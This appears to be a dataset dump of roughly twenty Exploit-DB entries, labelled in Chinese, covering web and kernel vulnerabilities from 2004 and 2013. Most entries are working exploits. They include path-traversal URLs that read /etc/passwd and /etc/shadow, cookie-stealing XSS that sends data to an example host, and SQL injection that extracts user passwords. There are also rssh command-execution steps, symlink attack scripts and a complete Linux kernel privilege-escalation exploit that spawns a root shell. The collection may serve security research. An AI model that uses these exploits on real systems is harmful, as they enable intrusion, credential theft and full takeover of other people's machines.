QLWD/code_shield huggingface dataset:
标题: Cisco Video Surveillance Operations Manager 6.3.2 - Multiple Vulnerabilities EDB-ID: 24786 CVE: 2013-3431 2013-3430 2013-3429 类型: WEBAPPS 平台: JSP 发布日期: 2013-03-15 漏洞利用脚本: # Exploit Title:Cisco Video Surveillance Operations Manager Multiple
vulnerabilities
# Google Dork: intitle:"Video Surveillance Operations Manager > Login"
# Date: 22 Feb 2013 reported to the vendor
# Exploit Author: Bassem | bassem.co
# Vendor Homepage: www.cisco.com
# Version: Version 6.3.2
# Tested on: Version 6.3.2


#1- The application is vulnerable to Local file inclusion

read_log.jsp and read_log.dep not validate the name and location of the log
file , un authenticated remote attacker can perform this

---------------------------------------------
read_log.jsp:
/usr/BWhttpd/root/htdocs/BWT/utils/logs
from /usr/BWhttpd/logs/<%= logName %>
---------------------------------------------
---------------------------------------------
read_log.dep

<%!
        protected LinkedList getBwhttpdLog( String logName, String theOrder
) {
                String logPath  = "/usr/BWhttpd/logs/";
                String theLog   = logPath + logName;
                LinkedList resultList = new LinkedList();
                try {
                                BufferedReader in = new BufferedReader(new
FileReader(theLog));
                                String theLine = "";
                                        while( (theLine = in.readLine()) !=
null ) {
                                                if(
theOrder.indexOf("descending") > -1 ) {

resultList.addFirst(theLine);
                                                } else {

resultList.addLast(theLine);
                                                }
                                        }
-----------------------------------------------
POC:

http://serverip/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/passwd
http://serverip/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/shadow

#####################################################################

#2- The application is vulnerable to local file inclusion

select and display log not validate the log file names , If attacker pass
/etc/passwd through the http post request system will display it as log
file

POC:

http://serverip/monitor/logselect.php


#####################################################################


#3  Cisco Video Surveillance Operations Manager Version 6.3.2 doesn't
perform the proper authentication for the management and view console,
Remote attacker can gain access to the system and view the attached cameras
without authentication

POC:

http://serverip/broadware.jsp


#####################################################################


#4 Application is vulnerable to XSS

The web application doesn't perform validation for the inputs/outputs for
many of its pages so its vulnerable to XSS attacks

POC: http://serverip/vsom/index.php/
"/title><script>alert("ciscoxss");</script>




-- 
Best Regards
Bassem URL: https://www.exploit-db.com/exploits/24786
标题: pntresmailer 6.0 - Directory Traversal EDB-ID: 24783 CVE: 2004-1206 类型: WEBAPPS 平台: PHP 发布日期: 2004-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/11767/info

pnTresMailer is reported susceptible to a directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input data.

This vulnerability can be exploited to retrieve arbitrary, potentially sensitive files from the hosting computer with the privileges of the web server. This may aid a malicious user in further attacks.

Version 6.03 of the application is reportedly affected by this vulnerability.

http://www.example.com/codebrowserpntm.php?downloadfolder=pnTresMailer&filetodownload=../../../../etc/passwd URL: https://www.exploit-db.com/exploits/24783
标题: RSSH 2.x - Arbitrary Command Execution EDB-ID: 24795 CVE: 2004-1161 类型: REMOTE 平台: LINUX 发布日期: 2004-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/11792/info

rssh is reported prone to a remote arbitrary command execution vulnerability. This issue may allow a remote attacker to execute commands and scripts on a vulnerable computer and eventually allow an attacker to gain elevated privileges on a vulnerable computer.

All versions of rssh are considered vulnerable at the moment.

ssh restricteduser@remotehost 'rsync -e "touch /tmp/example --" localhost:/dev/null /tmp' 

scp command.sh restricteduser@remotehost:/tmp/command.sh 

ssh restricteduser@remotehost 'scp -S /tmp/command.sh localhost:/dev/null /tmp' URL: https://www.exploit-db.com/exploits/24795
标题: InShop and InMail - Cross-Site Scripting EDB-ID: 24779 CVE: 2004-1196 类型: WEBAPPS 平台: CGI 发布日期: 2004-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/11758/info

InMail and InShop are both reported susceptible to cross-site scripting vulnerabilities. These issues are due to a failure of the applications to properly sanitize user-supplied input prior to including it in dynamic Web pages.

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/mod_perl/inmail.pl?acao=<<h1>opss!</h1>
http://www.example.com/mod_perl/inshop.pl?screen=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/24779
标题: SugarCRM 1.x/2.0 Module - 'record' SQL Injection EDB-ID: 24768 CVE: 2004-1225 类型: WEBAPPS 平台: PHP 发布日期: 2004-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/11740/info

SugarCRM is reported prone to multiple vulnerabilites arising from insufficient sanitization of user-supplied input. These issues can a remote attacker to carry out cross-site scripting, HTML injection, SQL injection and directory traversal attacks.

index.php?action=DetailView&module=Accounts&record=[SQL] URL: https://www.exploit-db.com/exploits/24768
标题: Zwiki 0.10/0.36.2 - Cross-Site Scripting EDB-ID: 24772 CVE: 2004-1075 类型: WEBAPPS 平台: PHP 发布日期: 2004-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/11745/info

It is reported that Zwiki is susceptible to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input prior to including it in dynamic web page content.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com/<img src=javascript:alert('hi')> URL: https://www.exploit-db.com/exploits/24772
标题: Linux Kernel 2.4.x/2.6.x - Local Denial of Service / Memory Disclosure EDB-ID: 24777 CVE: 2004-1074 类型: DOS 平台: LINUX 发布日期: 2004-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/11754/info

The Linux kernel is reported prone to multiple local vulnerabilities:

- A handcrafted 'a.out' file may be used to trigger a local denial-of-service condition. A local attacker may exploit this vulnerability to trigger a system-wide denial of service, potentially resulting in a kernel panic. 

- A memory-disclosure vulnerability reportedly affects only SMP computers with more than 4GB of memory. A local attacker may exploit this vulnerability to access random pages of physical memory.

perl -e'print"\x07\x01".("\x00"x13)."\xc0".("\x00"x16)' > eout 

Executing the resulting 'eout' file reportedly results in a kernel oops. Repeatedly running the resulting file will consume file descriptors and memory. URL: https://www.exploit-db.com/exploits/24777
标题: Jabber Server 2.0 - Multiple Remote Buffer Overflow Vulnerabilities EDB-ID: 24770 CVE: 2004-0953 类型: DOS 平台: WINDOWS 发布日期: 2004-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/11741/info

Multiple remote buffer overflow vulnerabilities affect the Jabber Server. These issues are due to a failure of the application to properly validate the length of user-supplied strings prior to copying them into finite process buffers.

An attacker may leverage these issues to execute arbitrary code on a computer with the privileges of the server process. This may facilitate unauthorized access or privilege escalation.

#!/usr/bin/python
import xmpp
name = 'a'*10240
# Born a client
cl=xmpp.Client('localhost')
if not cl.connect(server=('192.168.10.138',5222)):
raise IOError('Can not connect to server.') 
if not cl.auth(name,'jabberuserpassword','optional resource name'):
raise IOError('Can not auth with server.')
cl.disconnect() URL: https://www.exploit-db.com/exploits/24770
标题: KorWeblog 1.6.2 - Remote Directory Listing EDB-ID: 24771 CVE: 2004-1543 类型: WEBAPPS 平台: PHP 发布日期: 2004-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/11744/info

A vulnerability is reported in the KorWeblog software that may allow a remote user to disclose directory listings.

The problem presents itself when a malicious user crafts an URI request containing directory traversal sequences. When properly formatted, the request will present the malicious user with a listing of the contents of a specified server directory located outside of the web root.

An attacker may leverage this issue to gain access to sensitive information by disclosing directory listings; information disclosed in this way could lead to further attacks against the target system.

http://www.example.com/viewimg.php?path=images.d/face/../../../../../../../&form=Co
m&var=faceicon URL: https://www.exploit-db.com/exploits/24771
标题: SugarCRM 1.x/2.0 Module - Traversal Arbitrary File Access EDB-ID: 24769 CVE: 2004-1227 类型: WEBAPPS 平台: PHP 发布日期: 2004-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/11740/info
 
SugarCRM is reported prone to multiple vulnerabilites arising from insufficient sanitization of user-supplied input. These issues can a remote attacker to carry out cross-site scripting, HTML injection, SQL injection and directory traversal attacks.

/index.php?module=Opportunities&action=../../../../../../../../etc /passwd%00&advanced=true
/index.php?action=DetailView&module=../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/24769
标题: Sun Java Runtime Environment 1.x Java Plugin - JavaScript Security Restriction Bypass EDB-ID: 24763 CVE: 2004-1029 类型: DOS 平台: MULTIPLE 发布日期: 2004-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/11726/info

A vulnerability is reported to exist in the access controls of the Java to JavaScript data exchange within web browsers that employ the Sun Java Plug-in. Reports indicate that it is possible for a malicious website that contains JavaScript code to exploit this vulnerability to load a dangerous Java class and to pass this class to an invoked applet.

[script language=javascript]
var c=document.applets[0].getClass().forName('sun.text.Utility');
alert('got Class object: '+c)
[/script] URL: https://www.exploit-db.com/exploits/24763
标题: PHPKIT 1.6 - Multiple Input Validation Vulnerabilities EDB-ID: 24762 CVE: 2004-1537 类型: WEBAPPS 平台: PHP 发布日期: 2004-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/11725/info

It is reported that PHPKIT is susceptible to cross-site scripting and SQL injection vulnerabilities.

The cross-site scripting issue is present in a parameter of the 'popup.php' script. An attacker can exploit this issue by creating a malicious link containing HTML and script code and send this link to a vulnerable user. This can allow for theft of cookie-based authentication credentials and other attacks.

An SQL injection issue exists in the application as well. This issue affects a parameter of the 'print.php' script. Due to this, attackers may supply malicious parameters to manipulate the structure and logic of SQL queries.

http://www.example.com/phpkit/popup.php?img="><script>alert(document.cookie)</script>
http://www.example.com/phpkit/include.php?path=guestbook/print.php&id=1' URL: https://www.exploit-db.com/exploits/24762
标题: IPBProArcade 2.5 - SQL Injection EDB-ID: 24759 CVE: 2004-1536 类型: WEBAPPS 平台: PHP 发布日期: 2004-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/11719/info

A remote SQL injection vulnerability reportedly affects ipbProArcade. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in an SQL query.

An attacker may leverage this issue to manipulate SQL query strings and potentially carry out arbitrary database queries. This may facilitate the disclosure or corruption of sensitive database information.

http://site.com/index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/*

For modules installed on Invision Power Board versions 2.X:
index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,legacy_password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/* URL: https://www.exploit-db.com/exploits/24759
标题: Altiris Deployment Solution 5.6 - Client Service Privilege Escalation EDB-ID: 24754 CVE: 2005-1590 类型: LOCAL 平台: WINDOWS 发布日期: 2004-11-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/11709/info

Altiris Deployment Solution Client allows a user to activate the client interface by easily launching the software from an icon in the Windows system tray. It is reported that a local user may exploit the client interface to escalate privileges.

It should be noted that although this vulnerability is reported to exist in Altiris Deployment Solution version 5.6 SP1 (Hotfix E) other versions might also be affected.

1. Right click on the Altiris Client Service icon in the Taskbar and choose View Log File
2. Notepad should open. Click File, click Open
3. In the Files of type: field choose All Files
4. Navagate to '%WINDIR%\System32'. Right click on 'cmd.exe' and choose Open
6. A new command shell with launch with SYSTEM privileges URL: https://www.exploit-db.com/exploits/24754
标题: ZYXEL 3 Prestige Router - HTTP Remote Administration Configuration Reset EDB-ID: 24760 CVE: 2004-1540 类型: REMOTE 平台: HARDWARE 发布日期: 2004-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/11723/info

ZyXEL Prestige router series is reported prone to an access validation vulnerability. The vulnerability exists because the firmware of the router fails to restrict access to a configuration page that is a part of the ZyXEL Prestige HTTP based remote administration service.

A remote attacker may exploit this vulnerability to reset the configuration of the router.

http://www.example.com/rpFWUpload.html URL: https://www.exploit-db.com/exploits/24760
标题: Cscope 13.0/15.x - Insecure Temporary File Creation (2) EDB-ID: 24750 CVE: 2004-0996 类型: LOCAL 平台: LINUX 发布日期: 2004-11-17 漏洞利用脚本: // source: https://www.securityfocus.com/bid/11697/info
 
Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it.
 
During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it.
 
Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application.
 
Versions up to and including Cscope 15.5 are reported vulnerable.
/* RXcscope exploit version 15.5 and minor */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BSIZE   64

int
main(int ac, char *av[]) {
        pid_t cur;
        u_int i=0, lst;
        char buffer[BSIZE + 1];

        fprintf(stdout, "\n     --[ Cscope Exploit ]--\n"\
                        "     version 15.5 and minor \n" \
                        "       Gangstuck / Psirac\n" \
                        "     <research@rexotec.com>\n\n");

        if (ac != 3) {
                fprintf(stderr, "Usage: %s <target> <max file creation>\n", av[0]);
                return 1;
        }

        cur=getpid();
        lst=cur+atoi(av[2]);

        fprintf(stdout, " -> Current process id is ..... [%5d]\n" \
                        " -> Last process id is ........ [%5d]\n", cur, lst);

        while (++cur != lst) {
                snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, (i==2) ? --i : ++i);
                symlink(av[1], buffer);
        }

        return 0;
} URL: https://www.exploit-db.com/exploits/24750
标题: Cscope 13.0/15.x - Insecure Temporary File Creation (1) EDB-ID: 24749 CVE: 2004-0996 类型: LOCAL 平台: LINUX 发布日期: 2004-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/11697/info

Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it. 

During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it. 

Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application. 

Versions up to and including Cscope 15.5 are reported vulnerable.

#!/bin/sh
#################################################################
# RXcscope_proof.sh
# brute force case baby
# cscope advisory and exploit by Gangstuck / Psirac <research@rexotec.com>
#################################################################

HOWM=30
CURR=`ps | grep ps | awk '{print $1}'`
NEXT=`expr $CURR + 5 + $HOWM \* 2 + 1`
LAST=`expr $NEXT + $HOWM`

echo -e "\n--= Cscope Symlink Vulnerability Exploitation =--\n"\
        "                 [versions 15.5 and minor]\n"\
        "                   Gangstuck / Psirac\n"\
        "                 <research@rexotec.com>\n\n"

if [ $# -lt 1 ]; then
        echo "Usage: $0 <file1> [number_of_guesses]"
        exit 1
fi

rm -f /tmp/cscope*

echo "Probed next process id ........ [${NEXT}]"

while [ ! "$NEXT" -eq "$LAST" ]; do
        ln -s $1 /tmp/cscope${NEXT}.1; NEXT=`expr $NEXT + 1`
        ln -s $1 /tmp/cscope${NEXT}.2; NEXT=`expr $NEXT + 1`
done URL: https://www.exploit-db.com/exploits/24749
标题: Linux Kernel - 'SCTP_GET_ASSOC_STATS()' Stack Buffer Overflow (PoC) EDB-ID: 24747 CVE: 2013-1828 类型: DOS 平台: LINUX 发布日期: 2013-03-13 漏洞利用脚本: #include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define SCTP_GET_ASSOC_STATS 112
#define SOL_SCTP 132

int main(void)
{
 char *buf = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
 socklen_t len = strlen(buf);
 int fd;

 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
 getsockopt(fd, SOL_SCTP, SCTP_GET_ASSOC_STATS, buf, &len);
 return 0;
} URL: https://www.exploit-db.com/exploits/24747
标题: Apache Rave 0.11 < 0.20 - User Information Disclosure EDB-ID: 24744 CVE: 2013-1814 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2013-03-13 漏洞利用脚本: CVE-2013-1814: Apache Rave exposes User over API

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:
Rave 0.11 to 0.20

Description:
Rave returns the full user object, including the salted and hashed
password, via the User RPC API.  This endpoint is only available to
authenticated users, but will return all User objects in the database
given the correct query.

Mitigation:
All users who rely on Rave's user management capabilities should
upgrade to 0.20.1 or later.
If an upgrade is infeasible, restrict access to the /app/api/user URL
paths via Spring Security configuration or other means.

Example:
A request to:

/app/api/rpc/users/get?offset=OFFSET

will return the following:

{"error":false,"errorMessage":null,"errorCode":"NO_ERROR","result":{"result=
Set":[{"entityId":1,"username":"canonical","email":"canonical@example.com",=
"displayName":"Canonical
User","additionalName":"canonical","familyName":"User","givenName":"Canonic=
al","honorificPrefix":null,"honorificSuffix":null,"preferredName":null,"abo=
utMe":null,"status":"Single","addresses":[],"organizations":[],"properties"=
:[{"entityId":1,"type":"thumbnailUrl","value":"http://opensocial2.org:8080/=
collabapp/images/avatars/BillRanney.jpg","qualifier":null,"extendedValue":n=
ull,"primary":null,"id":"1"}],"password":"$2a$10$TkEgze5kLy9nRlfd8PT1zunh6P=
1ND8WPjLojFjAMNgZMu1D9D1n4.","expired":false,"locked":false,"enabled":true,=
"openId":null,"forgotPasswordHash":null,"forgotPasswordTime":null,"defaultP=
ageLayout":{"entityId":4,"code":"columns_3","numberOfRegions":3,"renderSequ=
ence":3,"userSelectable":true},"confirmPassword":null,"defaultPageLayoutCod=
e":null,"authorities":[{"entityId":2,"authority":"ROLE_ADMIN","users":[],"d=
efaultForNewUser":false}],"id":"1","accountNonLocked":true,"credentialsNonE=
xpired":true,"accountNonExpired":true},
........ ],"pageSize":10,"offset":0,"totalResults":14,"numberOfPages":2,"cu=
rrentPage":1}}

Credit:
This issue was discovered by Andreas Guth of RWTH Aachen University.

References:
http://tomcat.apache.org/security.html URL: https://www.exploit-db.com/exploits/24744
标题: Linux Kernel 3.7.10 (Ubuntu 12.10 x64) - 'sock_diag_handlers' Local Privilege Escalation (2) EDB-ID: 24746 CVE: 2013-1763 类型: LOCAL 平台: LINUX_X86-64 发布日期: 2013-03-13 漏洞利用脚本: #include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;

int __attribute__((regparm(3)))
x()
{
 commit_creds(prepare_kernel_cred(0));
 return -1;
}

char stage1[] = "\xff\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

int main() {
 int fd;
    unsigned long mmap_start, mmap_size = 0x10000;
 unsigned family;
 struct {
  struct nlmsghdr nlh;
  struct unix_diag_req r;
 } req;
 char buf[8192];

 if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
  printf("Can't create sock diag socket\n");
  return -1;
 }

 memset(&req, 0, sizeof(req));
 req.nlh.nlmsg_len = sizeof(req);
 req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
 req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
 req.nlh.nlmsg_seq = 123456;

 req.r.udiag_states = -1;
 req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

 /* Ubuntu 12.10 x86_64 */
 req.r.sdiag_family = 0x37;
 commit_creds = (_commit_creds) 0xffffffff8107d180;
 prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107d410;
    mmap_start = 0x1a000;

    if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
  MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {

  printf("mmap fault\n");
  exit(1);
    }

    *(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x;
    memset((void *)mmap_start, 0x90, mmap_size);
    memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1));

 send(fd, &req, sizeof(req), 0);
 if(!getuid())
  system("/bin/sh");
} URL: https://www.exploit-db.com/exploits/24746
标题: Aztek Forum 4.0 - Multiple Input Validation Vulnerabilities EDB-ID: 24731 CVE: 2004-2725 类型: WEBAPPS 平台: PHP 发布日期: 2004-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/11654/info

Aztek Forum is reported prone to multiple input validation vulnerabilities. These issues may allow an attacker to carry out cross-site scripting and possibly other attacks.

All versions of Aztek Forum are considered vulnerable at the moment.

http://www.example.com/forum%20aztek/forum_2.php?msg=10
&return=')%3C/script%3E%3Cscript%3E%20% 20document.location=%20'www.example.com/code_evil.php?
cookie='%20+window.document.cookie;%20%20%3C/script%3E URL: https://www.exploit-db.com/exploits/24731